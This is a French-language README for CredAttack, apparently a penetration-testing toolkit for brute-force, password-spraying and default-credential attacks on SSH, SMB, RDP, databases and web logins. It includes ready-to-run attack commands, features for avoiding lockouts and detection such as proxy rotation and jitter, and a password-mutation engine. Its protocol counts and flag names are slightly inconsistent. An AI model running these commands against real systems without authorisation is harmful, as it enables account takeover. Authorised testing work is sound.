
Suite complète d'attaques d'identifiants pour les tests de sécurité autorisés — SSH, FTP, Connexion Web, Force brute, Attaques par dictionnaire
# CredAttack — Toolkit d'attaques d'identifiants
<p align="center">
<img src="https://img.shields.io/badge/release-v1.3.0-brightgreen?style=for-the-badge" alt="Release">
<img src="https://img.shields.io/badge/python-3.10%20%7C%203.11%20%7C%203.12%20%7C%203.13-blue?style=for-the-badge&logo=python" alt="Python">
<img src="https://img.shields.io/badge/protocols-17-orange?style=for-the-badge" alt="Protocols">
<img src="https://img.shields.io/badge/tests-passing-success?style=for-the-badge&logo=pytest" alt="Tests">
<img src="https://img.shields.io/badge/license-SEE--LICENSE-lightgrey?style=for-the-badge" alt="License">
</p>
> **⚠️ AVIS JURIDIQUE — Tests de sécurité autorisés UNIQUEMENT.**
> L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas **d'autorisation écrite explicite** est illégale en vertu du Computer Fraud and Abuse Act (États-Unis), du Computer Misuse Act (Royaume-Uni) et des lois équivalentes dans le monde entier. Voir [SECURITY.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/SECURITY.md).
---
## Table des matières
- [Qu'est-ce que CredAttack ?](#quest-ce-que-credattack)
- [Modes d'attaque](#modes-dattaque)
- [Protocoles pris en charge](#protocoles-pris-en-charge)
- [Architecture](#architecture)
- [Démarrage rapide](#démarrage-rapide)
- [Installation](#installation)
- [Référence CLI](#référence-cli)
- [Moteur de mutation de mots de passe](#moteur-de-mutation-de-mots-de-passe)
- [Base de données d'identifiants par défaut](#base-de-données-didentifiants-par-défaut)
- [Rotation de proxys](#rotation-de-proxys)
- [Rapports HTML](#rapports-html)
- [Configuration et variables d'environnement](#configuration-et-variables-denvironnement)
- [Docker](#docker)
- [Tests](#tests)
- [Structure du projet](#structure-du-projet)
- [Contribution](#contribution)
---
## Qu'est-ce que CredAttack ?
CredAttack est une **suite de tests d'identifiants modulaire et de qualité production** pour les engagements de tests d'intrusion autorisés. Elle couvre l'ensemble du cycle de vie d'une attaque d'identifiants :
| Phase | Capacité de CredAttack |
|-------|-----------------------|
| **Reconnaissance** | Base de données d'identifiants par défaut (200+ paires), génération intelligente de motifs dérivés du nom d'utilisateur |
| **Attaque** | 17 attaquants de protocoles, 6 modes d'attaque, campagnes multi-cibles |
| **Évitement** | Détection de verrouillage, limitation de débit configurable, gigue, rotation de proxys |
| **Rapports** | Journal d'audit JSONL, rapport HTML Jinja2, bannière d'identifiants trouvés + export de fichier |
---
## Modes d'attaque
| Mode | Commande | Description |
|------|---------|-------------|
| **Dictionnaire** | `ssh`, `ftp`, `smb`, … | Liste de mots contre un utilisateur |
| **Spray** | `spray` | Un mot de passe sur une liste d'utilisateurs (sans risque de verrouillage) |
| **Combo** | `combo` | Chaque utilisateur × chaque mot de passe |
| **Intelligent** | `smart` | Génération de motifs dérivés du nom d'utilisateur/entreprise |
| **Défauts** | `defaults` | Essaie plus de 200 défauts de services connus |
| **Multi-cible** | `multi` | Même attaque sur une liste d'hôtes |
| **Pipeline complet** | `full` | Tous les protocoles, un seul rapport |
---
## Protocoles pris en charge
| # | Protocole | Module | Port par défaut | Notes |
|---|----------|--------|-------------|-------|
| 1 | SSH | `ssh.py` | 22 | paramiko, authentification par clé/mot de passe |
| 2 | FTP | `ftp.py` | 21 | Mode actif et passif |
| 3 | Formulaire HTTP | `http_form.py` | 80/443 | Détection automatique du jeton CSRF |
| 4 | HTTP Basic | `http_basic.py` | 80 | RFC 7617 |
| 5 | HTTP Digest | `http_digest.py` | 80 | RFC 7616 |
| 6 | SMB | `smb.py` | 445 | impacket, NTLM |
| 7 | RDP | `rdp.py` | 3389 | impacket NLA |
| 8 | SMTP | `smtp.py` | 587 | STARTTLS |
| 9 | POP3 | `pop3.py` | 110 | Prise en charge APOP |
| 10 | IMAP | `imap.py` | 143 | STARTTLS |
| 11 | MySQL | `mysql.py` | 3306 | mysql-connector-python |
| 12 | MSSQL | `mssql.py` | 1433 | pymssql |
| 13 | Redis | `redis_proto.py` | 6379 | Commande AUTH |
| 14 | MongoDB | `mongodb.py` | 27017 | pymongo |
| 15 | WinRM | `winrm.py` | 5985 | NTLM, pywinrm |
| 16 | LDAP | `ldap_proto.py` | 389 | ldap3, auto-détection rootDSE |
| 17 | Telnet | `telnet.py` | 23 | TCP brut |
| 18 | VNC | `vnc.py` | 5900 | Défi-réponse DES brut |
---
## Architecture
```
credattack.py ← shim léger : `python credattack.py ...` depuis un checkout
│
├── credattack/cli.py ← CLI (Typer) — 8 sous-commandes de modes d'attaque ; également le
│ script console `credattack` lorsqu'il est installé via pip
├── credattack/core/
│ ├── config.py ← Paramètres Pydantic v2, remplacements par variables d'environnement CREDATTACK_*
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + interface de progression Rich)
│ ├── lockout.py ← LockoutDetector (fenêtre glissante, thread-safe)
│ ├── proxy.py ← ProxyRotator (round-robin, vérification de santé, rétrogradation)
│ ├── mutator.py ← PasswordMutator (leet, saisonnier, suffixe, déplacement clavier…)
│ ├── result.py ← Classes de données AttemptResult + SessionReport
│ ├── report.py ← Générateur de rapports HTML Jinja2
│ └── logger.py ← Journalisation Rich + rédacteur de journal d'audit JSONL
│
├── credattack/protocols/
│ └── *.py ← 18 implémentations ProtocolAttacker
│
├── credattack/data/
│ ├── default_creds.json ← 200+ paires d'identifiants par défaut réels
│ ├── smart_patterns.json ← 140+ modèles de mots de passe d'entreprise
│ └── wordlists/ ← Listes de mots de passe par défaut par service
│
└── tests/ ← 50+ tests pytest (unitaires + simulations de protocoles)
```
---
## Démarrage rapide
```bash
# Cloner et configurer
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows : .venv\Scripts\activate
pip install -r requirements.txt
# Vérifier la version
python credattack.py --version
# Essai à blanc (aucune connexion établie — vérifiez vos listes de mots)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# Attaque par dictionnaire SSH réelle
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# Pulvérisation de mots de passe (limitée en débit, sans risque de verrouillage)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# Mode intelligent — générer des motifs à partir du nom d'utilisateur + de l'entreprise
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# Essayer les défauts de service
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# Campagne multi-cible
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
```
---
## Installation
### Option A — pip + virtualenv (recommandé)
```bash
python -m venv .venv
source .venv/bin/activate # Windows : .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
```
### Option B — Raccourcis Makefile
```bash
make install # dépendances de base
make install-dev # + pytest-cov, ruff, mypy
```
### Option C — Installation pip (éditable ou depuis une roue)
```bash
pip install -e . # dépendances de base uniquement
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # script console, équivalent à `python credattack.py`
```
### Option D — Docker
```bash
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# Monter vos listes de mots et collecter la sortie
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
```
---
## Référence CLI
### Options globales
```
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version Afficher la version et quitter.
--help Afficher l'aide.
```
### Indicateurs courants (disponibles sur toutes les commandes de protocole)
| Indicateur | Court | Défaut | Description |
|------|-------|---------|-------------|
| `--target` | `-t` | — | Hôte / IP cible |
| `--port` | | 0 (défaut du protocole) | Remplacer le port TCP |
| `--username` | `-u` | — | Nom d'utilisateur unique |
| `--user-file` | `-U` | — | Fichier de noms d'utilisateurs séparés par des sauts de ligne |
| `--pass-file` | `-P` | — | Fichier de mots de passe séparés par des sauts de ligne |
| `--password` | `-p2` | — | Mot de passe unique |
| `--threads` | `-n` | 10 | Travailleurs simultanés |
| `--timeout` | `-T` | 5.0 | Délai d'attente par tentative (s) |
| `--delay` | `-d` | 0.0 | Délai fixe entre les tentatives (s) |
| `--jitter` | | 0.0 | Gigue aléatoire maximale (s) |
| `--stop-on-first` | | True | Arrêter par utilisateur après le premier succès |
| `--proxy-file` | | None | Liste de proxys HTTP/SOCKS5 |
| `--output-dir` | `-o` | `./output` | Répertoire de résultats |
| `--verbosity` | `-v` | 1 | Niveau de journalisation (0-3) |
| `--dry-run` | | False | Compter les paires sans se connecter |
### Sous-commandes
```bash
# Spécifiques au protocole (chacune correspond à un attaquant dédié)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (formulaire / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# Spray — un seul mot de passe, de nombreux utilisateurs, délai long
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# Combo — produit cartésien utilisateurs × mots de passe
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# Smart — génération dérivée de l'OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# Defaults — essayer les identifiants par défaut du fournisseur
python credattack.py defaults -t HOST --protocol mysql
# Multi — même attaque sur plusieurs hôtes
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# Full — tous les protocoles en séquence
python credattack.py full -t HOST -U users.txt -P passes.txt
```
---
## Moteur de mutation de mots de passe
`PasswordMutator` dans `credattack/core/mutator.py` prend en charge des stratégies composables :
| Stratégie | Méthode | Exemple de sortie |
|----------|--------|----------------|
| Leet-speak | `leet_speak(word)` | `p@ssw0rd`, `p455w0rd` |
| Capitalisation | `capitalise_variants(word)` | `PASSWORD`, `Password`, `pAsSwOrD` |
| Suffixe | `suffix_append(word)` | `password123`, `password@2025` |
| Préfixe | `prefix_append(word)` | `!password`, `mypassword` |
| Déplacement clavier | `keyboard_walk(word)` | `qassword` (a→q) |
| Motifs de nom d'utilisateur | `username_patterns(user, company)` | `john123`, `Doe1!`, `ACME2024!` |
| **Saisonnier** (v1.1) | `seasonal_patterns(company)` | `Summer2024!`, `Winter25` |
| **Enveloppe de caractères spéciaux** (v1.1) | `special_char_wrap(word)` | `!@Password`, `Password!@` |
| Combinaison | `combine(word, strategies)` | enchaîne n'importe laquelle des stratégies ci-dessus |
| Intelligent (tout-en-un) | `smart_generate(user, company)` | flux dédupliqué et plafonné |
```python
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# Toutes les stratégies combinées
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# Uniquement les motifs saisonniers
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
```
---
## Base de données d'identifiants par défaut
`credattack/data/default_creds.json` contient **200+ paires d'identifiants par défaut réels** réparties sur :
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
```bash
# Voir tous les défauts d'un service
python credattack.py defaults -t HOST --protocol mysql --dry-run
# Exécuter contre la cible
python credattack.py defaults -t 10.0.0.1 --protocol ssh
```
---
## Rotation de proxys
Passez un fichier de proxys (un proxy par ligne, format `host:port`) :
```
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
```
```bash
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
```
Le `ProxyRotator` effectue des vérifications de santé au démarrage et rétrograde les proxys qui dépassent un seuil de taux d'échec. Les proxys morts sont automatiquement exclus.
---
## Rapports HTML
Après chaque attaque hors essai à blanc, un rapport HTML est automatiquement généré dans `./output/` :
- **Cartes statistiques** : tentatives totales, taux de réussite, durée, tentatives/seconde
- **Tableau des identifiants trouvés** : hôte · protocole · nom d'utilisateur · mot de passe (copie dans le presse-papiers)
- **Modèle à thème sombre** Jinja2
```bash
# Ouvrir après une exécution
start output/report_*.html # Windows
open output/report_*.html # macOS
```
---
## Configuration et variables d'environnement
Tous les paramètres de `credattack/core/config.py` peuvent être remplacés via les variables d'environnement `CREDATTACK_*` :
```bash
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
```
Ou au niveau de la CLI avec les indicateurs standard (`--threads`, `--timeout`, etc.).
---
## Docker
```bash
# Construire l'image
docker build -t credattack -f docker/Dockerfile .
# Exécuter avec Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# Définir la configuration via l'environnement
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
```
---
## Tests
```bash
# Exécuter tous les tests
pytest -q
# Avec couverture
pytest --cov=credattack --cov-report=term-missing -q
# Raccourci Makefile
make test-cov
```
**Suite actuelle : 50+ tests** couvrant :
| Domaine | Tests |
|------|-------|
| Détecteur de verrouillage (fenêtre glissante, sécurité des threads) | `test_lockout.py` |
| Stratégies du mutateur de mots de passe | `test_mutator.py` |
| Nouvelles stratégies du mutateur (saisonnier, caractères spéciaux) | `test_mutator_extended.py` |
| Rotateur de proxys (vérification de santé, rétrogradation) | `test_proxy.py` |
| Classes de données Result & SessionReport | `test_result.py` |
| Simulation du protocole SSH | `test_protocols_ssh.py` |
| Simulation du protocole FTP | `test_protocols_ftp.py` |
| Simulations HTTP Basic & Digest | `test_protocols_http.py` |
---
## Listes de mots
> **⚠️ Les fichiers `wordlists/` inclus sont des stubs minimaux de test de fumée.** Fournissez les vôtres pour des évaluations réelles.
### Sources recommandées
| Liste de mots | Taille | Idéale pour |
|----------|------|----------|
| `rockyou.txt` | ~14 M | Dictionnaire général |
| `SecLists/Passwords/` | Divers | Spécifique au protocole |
| `kaonashi.txt` | ~64 M | Couverture avancée |
| Dérivée de l'OSINT | Variable | Attaques ciblées |
```bash
# Utiliser n'importe quelle liste de mots externe
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
```
---
## Structure du projet
```
credential-attacks-toolkit/
├── credattack.py # Shim léger -> credattack.cli:app (utilisation depuis le checkout source)
├── pyproject.toml # Configuration de build et d'outils PEP 517/518
├── requirements.txt # Dépendances d'exécution
├── Makefile # Raccourcis développeur
├── VERSION # Source unique de vérité de version
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions : lint + matrice de tests + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — empaquetée, alimente le script console
│ ├── core/
│ │ ├── config.py # Paramètres Pydantic v2
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (fenêtre glissante)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # Générateur de rapports HTML
│ │ └── logger.py # Journalisation Rich + rédacteur JSONL
│ ├── protocols/ # 18 implémentations ProtocolAttacker
│ │ └── base.py # ProtocolAttacker abstrait
│ └── data/
│ ├── default_creds.json # 200+ défauts de fournisseurs
│ ├── smart_patterns.json # 140+ modèles d'entreprise
│ └── wordlists/ # Listes de démarrage par service
├── attacks/ # Outils autonomes à fichier unique (antérieurs à credattack/ ;
│ └── *.py # conservés pour les scripts non encore portés : craquage JWT,
│ # détection WAF, énumération d'utilisateurs basée sur le timing)
├── utils/
│ └── credential_utils.py # Aides partagées pour les scripts attacks/
├── tests/
│ ├── conftest.py # Fixtures partagées
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # Stubs minimaux de test de fumée
└── output/ # Journaux et rapports générés (ignorés par git)
```
---
## Taux de réussite des attaques (indicatifs)
| Type de mot de passe | Dictionnaire | Mode intelligent | Spray (courant) |
|---------------|-----------|------------|----------------|
| 4 caractères | ~90 % | ~95 % | ~60 % |
| 6 caractères | ~65 % | ~75 % | ~25 % |
| 8 caractères mixtes | ~15 % | ~25 % | ~5 % |
| 10+ caractères complexes | <5 % | <5 % | <1 % |
---
## Contribution
Voir [CONTRIBUTING.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/CONTRIBUTING.md).
Veuillez ouvrir un ticket avant de soumettre de grandes demandes de tirage (PR).
Toutes les contributions doivent respecter la politique d'utilisation éthique de [SECURITY.md](https://github.com/amibhai/credential-attacks-toolkit/blob/main/SECURITY.md).
---
**Utilisez de manière responsable. Testez de manière éthique. Restez légal.**